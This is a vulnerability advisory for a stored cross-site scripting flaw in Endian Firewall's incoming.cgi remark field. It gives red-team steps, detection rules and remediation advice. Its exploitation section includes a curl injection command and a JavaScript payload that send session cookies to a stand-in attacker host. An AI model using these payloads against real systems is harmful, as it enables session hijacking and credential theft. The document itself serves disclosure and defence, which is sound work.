CVE-2026-34807

Executive Summary

CVE-2026-34807 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the remark parameter in /cgi-bin/incoming.cgi. This stored payload executes when other users view the affected page, enabling session hijacking, credential theft, or internal network reconnaissance. The vulnerability requires authentication but no special privileges, making it a medium-severity threat for organizations using Endian Firewall as their network security gateway.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the page)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability resides in the incoming.cgi CGI script, which processes firewall rule remarks. The remark parameter is not sanitized before being stored in the firewall configuration database. When the configuration page is rendered, the stored remark is output directly into HTML without proper encoding, allowing arbitrary JavaScript execution.

Attack Flow:

1. Attacker authenticates to the Endian Firewall web interface.
2. Attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the remark parameter in /cgi-bin/incoming.cgi.
3. The payload is stored in the firewall configuration.
4. When an administrator or other user views the incoming rules page, the payload executes in their browser context.

Root Cause: Lack of output encoding in the CGI script when rendering the remark field. The application uses user-supplied input directly in HTML without escaping special characters.

Vulnerable vs. Patched Code

Vulnerable Code (Endian Firewall <= 3.3.25):

# /cgi-bin/incoming.cgi (simplified)
my $remark = param('remark');
# Store remark directly
$db->set_remark($rule_id, $remark);
# Later, when rendering:
print "<td>$remark</td>";

Patched Code (Hypothetical fix):

# /cgi-bin/incoming.cgi (patched)
use HTML::Entities;
my $remark = param('remark');
# Encode before storage (defense in depth)
$remark = encode_entities($remark);
$db->set_remark($rule_id, $remark);
# When rendering, ensure encoding:
print "<td>" . encode_entities($remark) . "</td>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Endian Firewall web interface
• Network access to the management interface (typically port 443)

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to the incoming rules configuration page.
3. Use a tool like Burp Suite or curl to inject the payload:

curl -k -X POST "https://target/cgi-bin/incoming.cgi" \
  -d "action=add&rule_id=1&remark=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" \
  -u "username:password"

4. The payload is stored and executed when any user views the incoming rules page.

Advanced Payload:

// Steal session cookie and exfiltrate
var img = new Image();
img.src = "https://attacker.com/exfil?data=" + document.cookie;

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious POST requests to /cgi-bin/incoming.cgi containing HTML/JavaScript in the remark parameter.
2. Review firewall configuration backups for unexpected script tags in remark fields.
3. Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Lab Setup:

• Deploy Endian Firewall 3.3.25 in a virtualized environment.
• Create a test user with web interface access.
• Use a web proxy (Burp Suite) to intercept and modify requests.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/incoming.cgi with remark parameter containing <script> tags
• Outbound connections to unknown domains from the firewall management interface
• Unusual JavaScript files being loaded from external sources

Host IOCs:

• Modified firewall configuration files containing script tags
• Unexpected entries in /var/log/httpd/access_log with remark=<script>
• Presence of encoded JavaScript in database dumps

File IOCs:

• /etc/endian/firewall/rules.xml containing <remark><script>...</script></remark>

Detection Engineering

YARA Rule

rule CVE_2026_34807_Endian_XSS {
    meta:
        description = "Detects stored XSS payload in Endian Firewall remark fields"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34807"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $remark_field = /<remark>.*?<\/remark>/is
    condition:
        $xss_payload and $remark_field
}

Sigma Rule

title: Endian Firewall Stored XSS via Remark Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2026-34807
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/cgi-bin/incoming.cgi'
        cs-uri-query|contains: 'remark='
    filter:
        cs-uri-query|re: 'remark=[^&]*<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in remarks (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-34807 Endian Firewall Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/incoming.cgi"; http_uri;
    content:"remark="; http_client_body;
    pcre:"/remark=[^&]*<script/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2026-34807;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict web interface access to trusted IP addresses only.
2. Implement strict input validation on the remark parameter using a web application firewall (WAF).
3. Monitor for suspicious activity in web server logs.

Long-term Fix:

• Upgrade to a patched version of Endian Firewall (when available).
• Apply output encoding to all user-supplied data rendered in HTML.
• Implement Content Security Policy (CSP) headers to prevent script execution.

Workaround:

• Disable the remark functionality in the firewall configuration if not needed.
• Use network segmentation to limit access to the management interface.

Valters IT - DevSecOps & Cyber Threat Intelligence

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